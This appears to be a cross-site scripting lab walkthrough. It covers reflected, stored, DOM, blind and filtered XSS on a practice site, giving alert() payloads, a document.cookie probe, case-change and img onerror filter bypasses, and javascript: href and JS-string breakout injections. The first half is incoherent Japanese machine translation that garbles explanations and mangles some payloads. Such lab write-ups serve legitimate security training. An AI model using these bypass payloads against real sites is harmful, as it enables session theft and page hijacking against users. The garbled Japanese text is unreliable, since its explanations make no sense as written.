XSS (クロスサイトスクリプティング)の概要
クロスサイトスクリプティングは、と呼ばれる「CSS」フロントスタイルシート折り畳み、略語を避けるために、「CSS」紛争を、それはまたとして知られているXSS 。通常XSSは、以下のいくつかの一般的な種類に分けることができる:
1. 反射型XSSと、
前記蓄積型XSS;
3.DOMの型XSS。
XSSの脆弱性があると評価されたウェブの脆弱性の有害な抜け穴OWASP TOP10 にランク常に最初の3にステータスが属しています。
XSSは、オブジェクトは、フロントエンドユーザーの害があるので、フロントエンドのブラウザの脆弱性では場所です。
形成 XSS 主な理由は、につながる、プログラムの入力と適切な治療を持っていない出力の脆弱性である「慎重に構築」ブラウザが原因の害するために、コードの効果的な実施を解析して、フロントエンドが使用されている場合、文字出力。
だから XSS 脆弱性に対するガードの上に、通常使用して「入力フィルタを」と「出力はエスケープ」の処理の方法:
許可しないにつながる可能性があり、入力フィルタ:入力フィルタをXSS 文字入力の攻撃を、
出力をエスケープ:適切に出力点の位置に応じてコンテンツの出力の先端に逃げ。
反射型 XSS (GET )
1. 入力し、ちょうど他の文字を入力し、それを返すかを確認するテストをフィルタ見つかりましたありません
2. 確認ページ要素監査は、入力ボックスの長さだけであることが判明20 に変更し、40
3. てみXSS の使用、<SCRIPT>アラート( 'XSS')</ SCRIPT>
反射型 XSS (POST )
1. に最初のログを促すことにより、
2. ビューランダーのクッキー情報、<SCRIPT>アラート(document.cookie)</ SCRIPT>
ストレージタイプの XSS
1. メッセージボードに挿入しようとするXSS コード、無濾過、<SCRIPT>アラート( 'XSS')</ SCRIPT>
DOMの型XSS
1. 要素が何を構築する必要が審査チェックと呼ばれる domxssを()関数
2. てみXSS の使用、'onclickの=「アラート(' XSS') ">
3.也可以,'><img src="#" onmouseover="alert('xss')">
DOM型xss-x
1.和DOM型xss一样, ' onclick="alert('xss')">
2.也可,'><img src=1 onerror="alert('xss')">
xss之盲打
1.输入提交,<script>alert('xss')</script>
2.登录后台查看
xss之过滤
1.尝试,<script>alert('xss')</script>
2.发现被过滤,换个语句尝试,<img src=1 onerror="alert('xss')">
3.通过大小写也可绕过过滤,<sCript>alert('xss')</sCript>
xss之htmlspecialchars
1.尝试构造,'><img src=1 onerror="alert('xss')">
2.htmlspecialchars函数的作用:该函数把预定义的字符转换为 HTML 实体预定义的字符是 & " ' < > 这五个,即转化为 &#xxx的形式。默认情况下为只过滤双引号,若设置为ENT_QUOTES则单双引号均被过滤。输入'1'查看
未过滤单引号',<a href="" 1''="">'1'</a>,输入的单引号没有被过滤的话,经过htmlspecialchars后拼接到html语句中会自动换成双引号
3.构造,' onclick='alert(/xss/)'
xss之href输入
1.尝试,' onclick='alert(/xss/)'
2.审查返回的元素发现所有字符都被转化为HTML实体了,包括单引号。
但由于输入的url拼接在 <a href='输入的内容'>属性中,可以使用javascript语法来构造语句:javascript:alert('xss')
xss之js输出
1.尝试,javascript:alert('xss')
2.构造,';alert(/xss/)//